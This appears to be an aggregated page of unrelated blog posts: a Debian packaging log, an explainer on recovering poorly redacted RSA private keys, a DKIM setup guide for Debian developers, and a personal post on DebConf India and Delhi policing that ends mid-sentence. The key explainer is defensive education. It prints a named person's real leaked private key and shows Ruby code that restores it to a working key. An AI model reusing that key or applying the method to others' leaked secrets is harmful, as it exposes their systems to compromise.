I would say that this was a crazy month, but with everything ever escalating, does that even mean anything anymore? I lost track of tracking my activities in the second half of the month, and I m still not very good at logging the soft stuff , that is, things like non-technical work but that also takes up a lot of time, but will continue to work on it.

Towards the end of the month I spent a huge amount of time on MiniDebConf Online, I m glad it all worked out, and will write a seperate blog entry on that. Thank you again to everyone for making it a success! I m also moving DPL activities to the DPL blog, so even though it s been a busy month in the free software world my activity log here will look somewhat deceptively short this month MiniDebConf Online 2020-05-06: Help prepare initial CfP mail. 2020-05-06: Process some feedback regarding accessibility on Jitsi.

Debian Packaging 2020-05-02: Upload package gnome-shell-extension-workspaces-to-dock (53-1) to Debian unstable. 2020-05-02: Upload package tetzle (2.1.6-1) to Debian unstable. 2020-05-06: Upload package bundlewrap (3.9.0-1) to Debian unstable. 2020-05-06: Accept MR#1 for connectagram. 2020-05-06: Upload package connectagram (1.2.11-1) to Debian unstable. 2020-05-07: Upload package gnome-shell-extension-multi-monitors (20-1) to Debian unstable (Closes: #956169). 2020-05-07: Upload package tanglet (1.5.6-1) to Debian unstable. 2020-05-16: Upload package calamares (3.2.24-1) to Debian unstable. 2020-05-16: Accept MR#1 for tuxpaint-config. 2020-05-16: Accept MR#7 for debian-live. 2020-05-18: Upload package bundlewrap (3.10.0) to Debian unstable.

Debian Mentoring 2020-05-02: Sponsor package gamemode (1.5.1-3) (Games team request). 2020-05-16: Sponsor package gamemode (1.5.1-4) (Games team request).

Because posting private keys on the Internet is a bad idea, some people like to redact their private keys, so that it looks kinda-sorta like a private key, but it isn t actually giving away anything secret. Unfortunately, due to the way that private keys are represented, it is easy to redact a key in such a way that it doesn t actually redact anything at all. RSA private keys are particularly bad at this, but the problem can (potentially) apply to other keys as well. I ll show you a bit of Inside Baseball with key formats, and then demonstrate the practical implications. Finally, we ll go through a practical worked example from an actual not-really-redacted key I recently stumbled across in my travels.

The Private Lives of Private Keys Here is what a typical private key looks like, when you come across it:

-----BEGIN RSA PRIVATE KEY-----
MGICAQACEQCxjdTmecltJEz2PLMpS4BXAgMBAAECEDKtuwD17gpagnASq1zQTYEC
CQDVTYVsjjF7IQIJANUYZsIjRsR3AgkAkahDUXL0RSECCB78r2SnsJC9AghaOK3F
sKoELg==
-----END RSA PRIVATE KEY-----

Obviously, there s some hidden meaning in there computers don t encrypt things by shouting BEGIN RSA PRIVATE KEY! , after all. What is between the BEGIN/END lines above is, in fact, a base64-encoded DER format ASN.1 structure representing a PKCS#1 private key. In simple terms, it s a list of numbers very important numbers. The list of numbers is, in order:

• A version number (0);
• The public modulus , commonly referred to as n ;
• The public exponent , or e (which is almost always 65,537, for various unimportant reasons);
• The private exponent , or d ;
• The two private primes , or p and q ;
• Two exponents, which are known as dmp1 and dmq1 ; and
• A coefficient, known as iqmp .

Why Is This a Problem? The thing is, only three of those numbers are actually required in a private key. The rest, whilst useful to allow the RSA encryption and decryption to be more efficient, aren t necessary. The three absolutely required values are e, p, and q. Of the other numbers, most of them are at least about the same size as each of p and q. So of the total data in an RSA key, less than a quarter of the data is required. Let me show you with the above toy key, by breaking it down piece by piece¹:

• MGI DER for this is a sequence
• CAQ version (0)
• CxjdTmecltJEz2PLMpS4BX n
• AgMBAA e
• ECEDKtuwD17gpagnASq1zQTY d
• ECCQDVTYVsjjF7IQ p
• IJANUYZsIjRsR3 q
• AgkAkahDUXL0RS dmp1
• ECCB78r2SnsJC9 dmq1
• AghaOK3FsKoELg== iqmp

Remember that in order to reconstruct all of these values, all I need are e, p, and q and e is pretty much always 65,537. So I could redact almost all of this key, and still give all the important, private bits of this key. Let me show you:

-----BEGIN RSA PRIVATE KEY-----
..............................................................EC
CQDVTYVsjjF7IQIJANUYZsIjRsR3....................................
........
-----END RSA PRIVATE KEY-----

Now, I doubt that anyone is going to redact a key precisely like this but then again, this isn t a typical RSA key. They usually look a lot more like this:

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAu6Inch7+mWtKn+leB9uCG3MaJIxRyvC/5KTz2fR+h+GOhqj4
SZJobiVB4FrE5FgC7AnlH6qeRi9MI0s6dt5UWZ5oNIeWSaOOeNO+EJDUkSVf67wj
SNGXlSjGAkPZ0nRJiDjhuPvQmdW53hOaBLk5udxPEQbenpXAzbLJ7wH5ouLQ3nQw
HwpwDNQhF6zRO8WoscpDVThOAM+s4PS7EiK8ZR4hu2toon8Ynadlm95V45wR0VlW
zywgbkZCKa1IMrDCscB6CglQ10M3Xzya3iTzDtQxYMVqhDrA7uBYRxA0y1sER+Rb
yhEh03xz3AWemJVLCQuU06r+FABXJuY/QuAVvQIDAQABAoIBAFqwWVhzWqNUlFEO
PoCVvCEAVRZtK+tmyZj9kU87ORz8DCNR8A+/T/JM17ZUqO2lDGSBs9jGYpGRsr8s
USm69BIM2ljpX95fyzDjRu5C0jsFUYNi/7rmctmJR4s4uENcKV5J/++k5oI0Jw4L
c1ntHNWUgjK8m0UTJIlHbQq0bbAoFEcfdZxd3W+SzRG3jND3gifqKxBG04YDwloy
tu+bPV2jEih6p8tykew5OJwtJ3XsSZnqJMwcvDciVbwYNiJ6pUvGq6Z9kumOavm9
XU26m4cWipuK0URWbHWQA7SjbktqEpxsFrn5bYhJ9qXgLUh/I1+WhB2GEf3hQF5A
pDTN4oECgYEA7Kp6lE7ugFBDC09sKAhoQWrVSiFpZG4Z1gsL9z5YmZU/vZf0Su0n
9J2/k5B1GghvSwkTqpDZLXgNz8eIX0WCsS1xpzOuORSNvS1DWuzyATIG2cExuRiB
jYWIJUeCpa5p2PdlZmBrnD/hJ4oNk4oAVpf+HisfDSN7HBpN+TJfcAUCgYEAyvY7
Y4hQfHIdcfF3A9eeCGazIYbwVyfoGu70S/BZb2NoNEPymqsz7NOfwZQkL4O7R3Wl
Rm0vrWT8T5ykEUgT+2ruZVXYSQCKUOl18acbAy0eZ81wGBljZc9VWBrP1rHviVWd
OVDRZNjz6nd6ZMrJvxRa24TvxZbJMmO1cgSW1FkCgYAoWBd1WM9HiGclcnCZknVT
UYbykCeLO0mkN1Xe2/32kH7BLzox26PIC2wxF5seyPlP7Ugw92hOW/zewsD4nLze
v0R0oFa+3EYdTa4BvgqzMXgBfvGfABJ1saG32SzoWYcpuWLLxPwTMsCLIPmXgRr1
qAtl0SwF7Vp7O/C23mNukQKBgB89DOEB7xloWv3Zo27U9f7nB7UmVsGjY8cZdkJl
6O4LB9PbjXCe3ywZWmJqEbO6e83A3sJbNdZjT65VNq9uP50X1T+FmfeKfL99X2jl
RnQTsrVZWmJrLfBSnBkmb0zlMDAcHEnhFYmHFuvEnfL7f1fIoz9cU6c+0RLPY/L7
n9dpAoGAXih17mcmtnV+Ce+lBWzGWw9P4kVDSIxzGxd8gprrGKLa3Q9VuOrLdt58
++UzNUaBN6VYAe4jgxGfZfh+IaSlMouwOjDgE/qzgY8QsjBubzmABR/KWCYiRqkj
qpWCgo1FC1Gn94gh/+dW2Q8+NjYtXWNqQcjRP4AKTBnPktEvdMA=
-----END RSA PRIVATE KEY-----

People typically redact keys by deleting whole lines, and usually replacing them with [...] and the like. But only about 345 of those 1588 characters (excluding the header and footer) are required to construct the entire key. You can redact about 4/5ths of that giant blob of stuff, and your private parts (or at least, those of your key) are still left uncomfortably exposed.

But Wait! There s More! Remember how I said that everything in the key other than e, p, and q could be derived from those three numbers? Let s talk about one of those numbers: n. This is known as the public modulus (because, along with e, it is also present in the public key). It is very easy to calculate: n = p * q. It is also very early in the key (the second number, in fact). Since n = p * q, it follows that q = n / p. Thus, as long as the key is intact up to p, you can derive q by simple division.

Real World Redaction At this point, I d like to introduce an acquaintance of mine: Mr. Johan Finn. He is the proud owner of the GitHub repo johanfinn/scripts. For a while, his repo contained a script that contained a poorly-redacted private key. He since deleted it, by making a new commit, but of course because git never really deletes anything, it s still available. Of course, Mr. Finn may delete the repo, or force-push a new history without that commit, so here is the redacted private key, with a bit of the surrounding shell script, for our illustrative pleasure:

#Add private key to .ssh folder
cd /home/johan/.ssh/
echo  "-----BEGIN RSA PRIVATE KEY-----
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
 
MIIJKgIBAAKCAgEAxEVih1JGb8gu/Fm4AZh+ZwJw/pjzzliWrg4mICFt1g7SmIE2
TCQMKABdwd11wOFKCPc/UzRH/fHuQcvWrpbOSdqev/zKff9iedKw/YygkMeIRaXB
fYELqvUAOJ8PPfDm70st9GJRhjGgo5+L3cJB2gfgeiDNHzaFvapRSU0oMGQX+kI9
ezsjDAn+0Pp+r3h/u1QpLSH4moRFGF4omNydI+3iTGB98/EzuNhRBHRNq4oBV5SG
Pq/A1bem2ninnoEaQ+OPESxYzDz3Jy9jV0W/6LvtJ844m+XX69H5fqq5dy55z6DW
sGKn78ULPVZPsYH5Y7C+CM6GAn4nYCpau0t52sqsY5epXdeYx4Dc+Wm0CjXrUDEe
Egl4loPKDxJkQqQ/MQiz6Le/UK9vEmnWn1TRXK3ekzNV4NgDfJANBQobOpwt8WVB
rbsC0ON7n680RQnl7PltK9P1AQW5vHsahkoixk/BhcwhkrkZGyDIl9g8Q/Euyoq3
eivKPLz7/rhDE7C1BzFy7v8AjC3w7i9QeHcWOZFAXo5hiDasIAkljDOsdfD4tP5/
wSO6E6pjL3kJ+RH2FCHd7ciQb+IcuXbku64ln8gab4p8jLa/mcMI+V3eWYnZ82Yu
axsa85hAe4wb60cp/rCJo7ihhDTTvGooqtTisOv2nSvCYpcW9qbL6cGjAXECAwEA
AQKCAgEAjz6wnWDP5Y9ts2FrqUZ5ooamnzpUXlpLhrbu3m5ncl4ZF5LfH+QDN0Kl
KvONmHsUhJynC/vROybSJBU4Fu4bms1DJY3C39h/L7g00qhLG7901pgWMpn3QQtU
4P49qpBii20MGhuTsmQQALtV4kB/vTgYfinoawpo67cdYmk8lqzGzzB/HKxZdNTq
s+zOfxRr7PWMo9LyVRuKLjGyYXZJ/coFaobWBi8Y96Rw5NZZRYQQXLIalC/Dhndm
AHckpstEtx2i8f6yxEUOgPvV/gD7Akn92RpqOGW0g/kYpXjGqZQy9PVHGy61sInY
HSkcOspIkJiS6WyJY9JcvJPM6ns4b84GE9qoUlWVF3RWJk1dqYCw5hz4U8LFyxsF
R6WhYiImvjxBLpab55rSqbGkzjI2z+ucDZyl1gqIv9U6qceVsgRyuqdfVN4deU22
LzO5IEDhnGdFqg9KQY7u8zm686Ejs64T1sh0y4GOmGsSg+P6nsqkdlXH8C+Cf03F
lqPFg8WQC7ojl/S8dPmkT5tcJh3BPwIWuvbtVjFOGQc8x0lb+NwK8h2Nsn6LNazS
0H90adh/IyYX4sBMokrpxAi+gMAWiyJHIHLeH2itNKtAQd3qQowbrWNswJSgJzsT
JuJ7uqRKAFkE6nCeAkuj/6KHHMPsfCAffVdyGaWqhoxmPOrnVgECggEBAOrCCwiC
XxwUgjOfOKx68siFJLfHf4vPo42LZOkAQq5aUmcWHbJVXmoxLYSczyAROopY0wd6
Dx8rqnpO7OtZsdJMeBSHbMVKoBZ77hiCQlrljcj12moFaEAButLCdZFsZW4zF/sx
kWIAaPH9vc4MvHHyvyNoB3yQRdevu57X7xGf9UxWuPil/jvdbt9toaraUT6rUBWU
GYPNKaLFsQzKsFWAzp5RGpASkhuiBJ0Qx3cfLyirjrKqTipe3o3gh/5RSHQ6VAhz
gdUG7WszNWk8FDCL6RTWzPOrbUyJo/wz1kblsL3vhV7ldEKFHeEjsDGroW2VUFlS
asAHNvM4/uYcOSECggEBANYH0427qZtLVuL97htXW9kCAT75xbMwgRskAH4nJDlZ
IggDErmzBhtrHgR+9X09iL47jr7dUcrVNPHzK/WXALFSKzXhkG/yAgmt3r14WgJ6
5y7010LlPFrzaNEyO/S4ISuBLt4cinjJsrFpoo0WI8jXeM5ddG6ncxdurKXMymY7
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.::
:::::::::::::::::::::::::::.::::::::::::::::::::::::::::::::::::
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLlL
 
 
 
YYYYYYYYYYYYYYYYYYYYYyYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
gff0GJCOMZ65pMSy3A3cSAtjlKnb4fWzuHD5CFbusN4WhCT/tNxGNSpzvxd8GIDs
nY7exs9L230oCCpedVgcbayHCbkChEfoPzL1e1jXjgCwCTgt8GjeEFqc1gXNEaUn
O8AJ4VlR8fRszHm6yR0ZUBdY7UJddxQiYOzt0S1RLlECggEAbdcs4mZdqf3OjejJ
06oTPs9NRtAJVZlppSi7pmmAyaNpOuKWMoLPElDAQ3Q7VX26LlExLCZoPOVpdqDH
KbdmBEfTR4e11Pn9vYdu9/i6o10U4hpmf4TYKlqk10g1Sj21l8JATj/7Diey8scO
sAI1iftSg3aBSj8W7rxCxSezrENzuqw5D95a/he1cMUTB6XuravqZK5O4eR0vrxR
AvMzXk5OXrUEALUvt84u6m6XZZ0pq5XZxq74s8p/x1JvTwcpJ3jDKNEixlHfdHEZ
ZIu/xpcwD5gRfVGQamdcWvzGHZYLBFO1y5kAtL8kI9tW7WaouWVLmv99AyxdAaCB
Y5mBAQKCAQEAzU7AnorPzYndlOzkxRFtp6MGsvRBsvvqPLCyUFEXrHNV872O7tdO
GmsMZl+q+TJXw7O54FjJJvqSSS1sk68AGRirHop7VQce8U36BmI2ZX6j2SVAgIkI
9m3btCCt5rfiCatn2+Qg6HECmrCsHw6H0RbwaXS4RZUXD/k4X+sslBitOb7K+Y+N
Bacq6QxxjlIqQdKKPs4P2PNHEAey+kEJJGEQ7bTkNxCZ21kgi1Sc5L8U/IGy0BMC
PvJxssLdaWILyp3Ws8Q4RAoC5c0ZP0W2j+5NSbi3jsDFi0Y6/2GRdY1HAZX4twem
Q0NCedq1JNatP1gsb6bcnVHFDEGsj/35oQKCAQEAgmWMuSrojR/fjJzvke6Wvbox
FRnPk+6YRzuYhAP/YPxSRYyB5at++5Q1qr7QWn7NFozFIVFFT8CBU36ktWQ39MGm
cJ5SGyN9nAbbuWA6e+/u059R7QL+6f64xHRAGyLT3gOb1G0N6h7VqFT25q5Tq0rc
Lf/CvLKoudjv+sQ5GKBPT18+zxmwJ8YUWAsXUyrqoFWY/Tvo5yLxaC0W2gh3+Ppi
EDqe4RRJ3VKuKfZxHn5VLxgtBFN96Gy0+Htm5tiMKOZMYAkHiL+vrVZAX0hIEuRZ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
-----END RSA PRIVATE KEY-----" >> id_rsa

Now, if you try to reconstruct this key by removing the obvious garbage lines (the ones that are all repeated characters, some of which aren t even valid base64 characters), it still isn t a key at least, openssl pkey doesn t want anything to do with it. The key is very much still in there, though, as we shall soon see. Using a gem I wrote and a quick bit of Ruby, we can extract a complete private key. The irb session looks something like this:

>> require "derparse"
>> b64 = <<EOF
MIIJKgIBAAKCAgEAxEVih1JGb8gu/Fm4AZh+ZwJw/pjzzliWrg4mICFt1g7SmIE2
TCQMKABdwd11wOFKCPc/UzRH/fHuQcvWrpbOSdqev/zKff9iedKw/YygkMeIRaXB
fYELqvUAOJ8PPfDm70st9GJRhjGgo5+L3cJB2gfgeiDNHzaFvapRSU0oMGQX+kI9
ezsjDAn+0Pp+r3h/u1QpLSH4moRFGF4omNydI+3iTGB98/EzuNhRBHRNq4oBV5SG
Pq/A1bem2ninnoEaQ+OPESxYzDz3Jy9jV0W/6LvtJ844m+XX69H5fqq5dy55z6DW
sGKn78ULPVZPsYH5Y7C+CM6GAn4nYCpau0t52sqsY5epXdeYx4Dc+Wm0CjXrUDEe
Egl4loPKDxJkQqQ/MQiz6Le/UK9vEmnWn1TRXK3ekzNV4NgDfJANBQobOpwt8WVB
rbsC0ON7n680RQnl7PltK9P1AQW5vHsahkoixk/BhcwhkrkZGyDIl9g8Q/Euyoq3
eivKPLz7/rhDE7C1BzFy7v8AjC3w7i9QeHcWOZFAXo5hiDasIAkljDOsdfD4tP5/
wSO6E6pjL3kJ+RH2FCHd7ciQb+IcuXbku64ln8gab4p8jLa/mcMI+V3eWYnZ82Yu
axsa85hAe4wb60cp/rCJo7ihhDTTvGooqtTisOv2nSvCYpcW9qbL6cGjAXECAwEA
AQKCAgEAjz6wnWDP5Y9ts2FrqUZ5ooamnzpUXlpLhrbu3m5ncl4ZF5LfH+QDN0Kl
KvONmHsUhJynC/vROybSJBU4Fu4bms1DJY3C39h/L7g00qhLG7901pgWMpn3QQtU
4P49qpBii20MGhuTsmQQALtV4kB/vTgYfinoawpo67cdYmk8lqzGzzB/HKxZdNTq
s+zOfxRr7PWMo9LyVRuKLjGyYXZJ/coFaobWBi8Y96Rw5NZZRYQQXLIalC/Dhndm
AHckpstEtx2i8f6yxEUOgPvV/gD7Akn92RpqOGW0g/kYpXjGqZQy9PVHGy61sInY
HSkcOspIkJiS6WyJY9JcvJPM6ns4b84GE9qoUlWVF3RWJk1dqYCw5hz4U8LFyxsF
R6WhYiImvjxBLpab55rSqbGkzjI2z+ucDZyl1gqIv9U6qceVsgRyuqdfVN4deU22
LzO5IEDhnGdFqg9KQY7u8zm686Ejs64T1sh0y4GOmGsSg+P6nsqkdlXH8C+Cf03F
lqPFg8WQC7ojl/S8dPmkT5tcJh3BPwIWuvbtVjFOGQc8x0lb+NwK8h2Nsn6LNazS
0H90adh/IyYX4sBMokrpxAi+gMAWiyJHIHLeH2itNKtAQd3qQowbrWNswJSgJzsT
JuJ7uqRKAFkE6nCeAkuj/6KHHMPsfCAffVdyGaWqhoxmPOrnVgECggEBAOrCCwiC
XxwUgjOfOKx68siFJLfHf4vPo42LZOkAQq5aUmcWHbJVXmoxLYSczyAROopY0wd6
Dx8rqnpO7OtZsdJMeBSHbMVKoBZ77hiCQlrljcj12moFaEAButLCdZFsZW4zF/sx
kWIAaPH9vc4MvHHyvyNoB3yQRdevu57X7xGf9UxWuPil/jvdbt9toaraUT6rUBWU
GYPNKaLFsQzKsFWAzp5RGpASkhuiBJ0Qx3cfLyirjrKqTipe3o3gh/5RSHQ6VAhz
gdUG7WszNWk8FDCL6RTWzPOrbUyJo/wz1kblsL3vhV7ldEKFHeEjsDGroW2VUFlS
asAHNvM4/uYcOSECggEBANYH0427qZtLVuL97htXW9kCAT75xbMwgRskAH4nJDlZ
IggDErmzBhtrHgR+9X09iL47jr7dUcrVNPHzK/WXALFSKzXhkG/yAgmt3r14WgJ6
5y7010LlPFrzaNEyO/S4ISuBLt4cinjJsrFpoo0WI8jXeM5ddG6ncxdurKXMymY7
EOF
>> b64 += <<EOF
gff0GJCOMZ65pMSy3A3cSAtjlKnb4fWzuHD5CFbusN4WhCT/tNxGNSpzvxd8GIDs
nY7exs9L230oCCpedVgcbayHCbkChEfoPzL1e1jXjgCwCTgt8GjeEFqc1gXNEaUn
O8AJ4VlR8fRszHm6yR0ZUBdY7UJddxQiYOzt0S1RLlECggEAbdcs4mZdqf3OjejJ
06oTPs9NRtAJVZlppSi7pmmAyaNpOuKWMoLPElDAQ3Q7VX26LlExLCZoPOVpdqDH
KbdmBEfTR4e11Pn9vYdu9/i6o10U4hpmf4TYKlqk10g1Sj21l8JATj/7Diey8scO
sAI1iftSg3aBSj8W7rxCxSezrENzuqw5D95a/he1cMUTB6XuravqZK5O4eR0vrxR
AvMzXk5OXrUEALUvt84u6m6XZZ0pq5XZxq74s8p/x1JvTwcpJ3jDKNEixlHfdHEZ
ZIu/xpcwD5gRfVGQamdcWvzGHZYLBFO1y5kAtL8kI9tW7WaouWVLmv99AyxdAaCB
Y5mBAQKCAQEAzU7AnorPzYndlOzkxRFtp6MGsvRBsvvqPLCyUFEXrHNV872O7tdO
GmsMZl+q+TJXw7O54FjJJvqSSS1sk68AGRirHop7VQce8U36BmI2ZX6j2SVAgIkI
9m3btCCt5rfiCatn2+Qg6HECmrCsHw6H0RbwaXS4RZUXD/k4X+sslBitOb7K+Y+N
Bacq6QxxjlIqQdKKPs4P2PNHEAey+kEJJGEQ7bTkNxCZ21kgi1Sc5L8U/IGy0BMC
PvJxssLdaWILyp3Ws8Q4RAoC5c0ZP0W2j+5NSbi3jsDFi0Y6/2GRdY1HAZX4twem
Q0NCedq1JNatP1gsb6bcnVHFDEGsj/35oQKCAQEAgmWMuSrojR/fjJzvke6Wvbox
FRnPk+6YRzuYhAP/YPxSRYyB5at++5Q1qr7QWn7NFozFIVFFT8CBU36ktWQ39MGm
cJ5SGyN9nAbbuWA6e+/u059R7QL+6f64xHRAGyLT3gOb1G0N6h7VqFT25q5Tq0rc
Lf/CvLKoudjv+sQ5GKBPT18+zxmwJ8YUWAsXUyrqoFWY/Tvo5yLxaC0W2gh3+Ppi
EDqe4RRJ3VKuKfZxHn5VLxgtBFN96Gy0+Htm5tiMKOZMYAkHiL+vrVZAX0hIEuRZ
EOF
>> der = b64.unpack("m").first
>> c = DerParse.new(der).first_node.first_child
>> version = c.value
=> 0
>> c = c.next_node
>> n = c.value
=> 80071596234464993385068908004931... # (etc)
>> c = c.next_node
>> e = c.value
=> 65537
>> c = c.next_node
>> d = c.value
=> 58438813486895877116761996105770... # (etc)
>> c = c.next_node
>> p = c.value
=> 29635449580247160226960937109864... # (etc)
>> c = c.next_node
>> q = c.value
=> 27018856595256414771163410576410... # (etc)

What I ve done, in case you don t speak Ruby, is take the two chunks of plausible-looking base64 data, chuck them together into a variable named b64, unbase64 it into a variable named der, pass that into a new DerParse instance, and then walk the DER value tree until I got all the values I need. Interestingly, the q value actually traverses the split in the two chunks, which means that there s always the possibility that there are lines missing from the key. However, since p and q are supposed to be prime, we can sanity check them to see if corruption is likely to have occurred:

>> require "openssl"
>> OpenSSL::BN.new(p).prime?
=> true
>> OpenSSL::BN.new(q).prime?
=> true

Excellent! The chances of a corrupted file producing valid-but-incorrect prime numbers isn t huge, so we can be fairly confident that we ve got the real p and q. Now, with the help of another one of my creations we can use e, p, and q to create a fully-operational battle key:

>> require "openssl/pkey/rsa"
>> k = OpenSSL::PKey::RSA.from_factors(p, q, e)
=> #<OpenSSL::PKey::RSA:0x0000559d5903cd38>
>> k.valid?
=> true
>> k.verify(OpenSSL::Digest::SHA256.new, k.sign(OpenSSL::Digest::SHA256.new, "bob"), "bob")
=> true

and there you have it. One fairly redacted-looking private key brought back to life by maths and far too much free time. Sorry Mr. Finn, I hope you re not still using that key on anything Internet-facing.

What About Other Key Types? EC keys are very different beasts, but they have much the same problems as RSA keys. A typical EC key contains both private and public data, and the public portion is twice the size so only about 1/3 of the data in the key is private material. It is quite plausible that you can redact an EC key and leave all the actually private bits exposed.

What Do We Do About It? In short: don t ever try and redact real private keys. For documentation purposes, just put KEY GOES HERE in the appropriate spot, or something like that. Store your secrets somewhere that isn t a public (or even private!) git repo. Generating a dummy private key and sticking it in there isn t a great idea, for different reasons: people have this odd habit of reusing demo keys in real life. There s no need to encourage that sort of thing.

---

1. Technically the pieces aren t 100% aligned with the underlying DER, because of how base64 works. I felt it was easier to understand if I stuck to chopping up the base64, rather than decoding into DER and then chopping up the DER.

What is DKIM? DKIM (DomainKeys Identified Mail), as Wikipedia puts it, "is an email authentication method designed to detect forged sender addresses in emails (email spoofing), a technique often used in phishing and email spam". More prosaically, one of the reasons email spam is so abundant is that, given a certain email message, there is no simple way to know for certain who sent it and how reputable they are. So even if people having addresses @debian.org are very nice and well-behaving, any random spammer can easily send emails from whatever@debian.org, and even if you trust people from @debian.org you cannot easily configure your antispam filter to just accept all emails from @debian.org, because spammers would get in too. Since nearly ten years DKIM is there to help you. If you send an email from @debian.org with DKIM, it will have a header like this: The field d=debian.org is the domain this email claims to be from and the fields bh= and b= are a cryptographic public key signature certifying this fact. How do I check that the email is actually from @debian.org? I use the selector s=vps.gio.user to fetch the public key via DNS, and then use the public key to verify the signature. There it is! Debian declares in its DNS record that that key is authorized to sign outbound email from @debian.org. The spammer hopefully does not have access to Debian's DKIM keys, and they cannot sign emails. Many large and small email services have already deployed DKIM since years, while most @debian.org emails still do not use it. Why not? Because people send @debian.org emails from many different servers. Basically, every DD used their @debian.org address sends email from their own mail server, and those mail servers (fortunately) do not have access to Debian's DNS record to install their DKIM keys. Well, that was true until yesterday! :-) A few weeks ago I poked DSA asking to allow any Debian Developer to install their DKIM keys, so that DDs could use DKIM to sign their emails and hopefully reduce the amount of spam sent from @debian.org. They have done it (thank you DSA very much, especially adsb), and now it is possible to use it! How do I configure it? I will not write here a full DKIM tutorial, there are many around. You have to use opendkim-genkey to generate a key and then configure your mail server to use opendkim to digitally sign outbound email. There are a few Debian-specific things you have to care about, though. First the have to choose a selector, which is a string used to distinguish many DKIM keys belonging to the same domain. Debian allows you to installa a key whose selector is <something>.<uid>.user, where <uid> is your Debian uid (this is done both for namespacing reasons and for exposing who might be abusing the system). So check carefully that your selector has this form. Then you cannot edit directly Debian's DNS record. But you can use the email-LDAP gateway on db.debian.org to install your key in a way similar to how entries in debian.net are handled (see the updated documentation). Specifically, suppose that opendkim-genkey generated the following thing for selector vps.gio.user and domain debian.org: Then you have to carefully copy the content of the p= field (without being fooled by it being split between different strings) and construct a request of the form: and then send it GPG-signed to changes@db.debian.org: Then use host -t TXT vps.gio.user._domainkey.debian.org to chech the key gets published (it will probably take some minutes/hours, I don't know). Once it is published, you can enable DKIM in you mail server and your email will be signed. Congratulations, you will not look like a spammer any more! You can send an email to check-auth@verifier.port25.com to check that your setup is correct. They will reply with a report, including the success of DKIM test. Notice that currently Debian's setup only allows you to use RSA DKIM keys and doesn't allow you to set other DKIM fields (but you probably won't need to set them). EDIT DSA made an official announcement about DKIM support, which you might want to check out as well, together with its links. EDIT 2 Now ed25519 keys are supported, the syntax for specifying keys on LDAP is a little bit more flexible and you can also insert CNAME records. See the official documentation for the updated details. So we have solved our problems with spam? Ha, no! DKIM is only a small step. Useful, also because it enable other steps to be taken in the future, but small. In particular, DKIM enables you to say: "This particular email actually comes from @debian.org", but doesn't tell anybody what to do with emails that are not signed. A third-party mail server might wonder whether @debian.org emails are actually supposed to be signed or not. There is another standard for dealing with that, which is called DMARD, and I believe that Debian should eventually use it, but not now: the problem is that currently virtually no email from @debian.org is signed with DKIM, so if DMARC was enabled other mail servers would start to nuke all @debian.org emails, except those which are already signed, a minority. If people and services sending emails from @debian.org will start configuring DKIM on their servers, which is now possible, it will eventually come a time when DMARC can be enabled, and spammers will find themselves unable to send forged @debian.org emails. We are not there yet, but todays we are a little step closer than yesterday. Also, notice that having DKIM on @debian.org only counters spam pretending to be from @debian.org, but there is much more. The policy on what to accept is mostly independent on that on what you send. However, knowing that @debian.org emails have DKIM and DMARC would mean that we can set our spam filters to be more aggressive in general, but whitelist official Debian Developers and services. And the same can be done for other domains using DKIM and DMARC. Finally, notice that some incompatibilities between DKIM and mailing lists are known, and do not have a definitive answer yet. Basically, most mailing list engines modify either the body of the headers in forwarded emails, which means that DKIM does not validate any more. There are many proposed solutions, possibly none completely satisfying, but since spam is not very satisfying as well, something will have to be worked out. I wrote a lot already, though, so I wont't discuss this here.

First of all, congratulations to all those who got us 2022 Debconf, so we will finally have a debconf in India. There is of course, lot of work to be done between now and then. For those who would be looking forward to visit India and especially Kochi I would suggest you to hear this enriching tale I am sorry I used youtube link but it is too good a podcast not to be shared. Those who don t want youtube can use the invidio.us link for the same as shared below. https://www.invidio.us/watch?v=BvjgKuKmnQ4 I am sure there are lot more details, questions, answers etc. but would direct them gently to Praveen, Shruti, Balasankar and the rest who are from Kochi to answer if you have any questions about that history.

National Science Day, GMRT 2020 First, as always, we are and were grateful to both NCRA as well as GMRT for taking such good care of us. Even though Akshat was not around, probably getting engaged, a few of us were there. About 6-7 from the Mozilla Nasik while the rest representing the foss community. Here is a small picture which commentrates the event

National Science Day, GMRT 2020

While there is and was a lot to share about the event. For e.g. Akshay had bought RPI- Zero as well as RPI-2 (Raspberry Pi s ) and showed some things. He had also bought up a Debian stable live drive with persistence although the glare from the sun was too much that we couldn t show it to clearly to students. This was also the case with RPI but still we shared what and how much we could. Maybe next year, we either ask them to have double screens or give us dark room so we can showcase things much better. We did try playing with contrast and all but it didn t have much of an effect . Of course in another stall few students had used RPI s as part of their projects so at times we did tell some of the newbies to go to those stalls and see and ask about those projects so they would have a much wider experience of things. The Mozilla people were pushing VR as well as Mozilla lite the browser for the mobile. We also gossiped quite a bit. I shared about indicatelts , a third-party certificate extension although I dunno if I should file a wnpp about it or not. We didn t have a good experience of when I had put an RFP (Request for Package) which was accepted for an extension which had similar functionality which we later come to know was sharing the sites people were using the extension to call home and share both the URL and the IP Address they were using it from. Sadly, didn t leave a good taste in mouth

Delhi Riots One thing I have been disappointed with is the lack of general awareness about things especially in the youth. We have people who didn t know that for e.g. in the Delhi riots which happened recently the law and order (Police) lies with Home Minister of India, Amit Shah. This is perhaps the only capital in the world which has its own Chief Minister but doesn t have any say on its law and order. And this has been the case for last 70 years i.e. since independance. The closest I know so far is the UK but they too changed their tune in 2012. India and especially Delhi seems to be in a time-capsule which while being dysfunctional somehow is made to work. In many ways, it s three body or a body split into three personalities which often makes governance a messy issue but that probably is a topic for another day. In fact, scroll had written a beautiful editorial that full statehood for Delhi was not only Arvind Kejriwal s call (AAP) but also something that both BJP as well as Congress had asked in the past. In fact, nothing about the policing is in AAP s power. All salaries, postings, transfers of police personnel everything is done by the Home Ministry, so if any blame has to be given it has to be 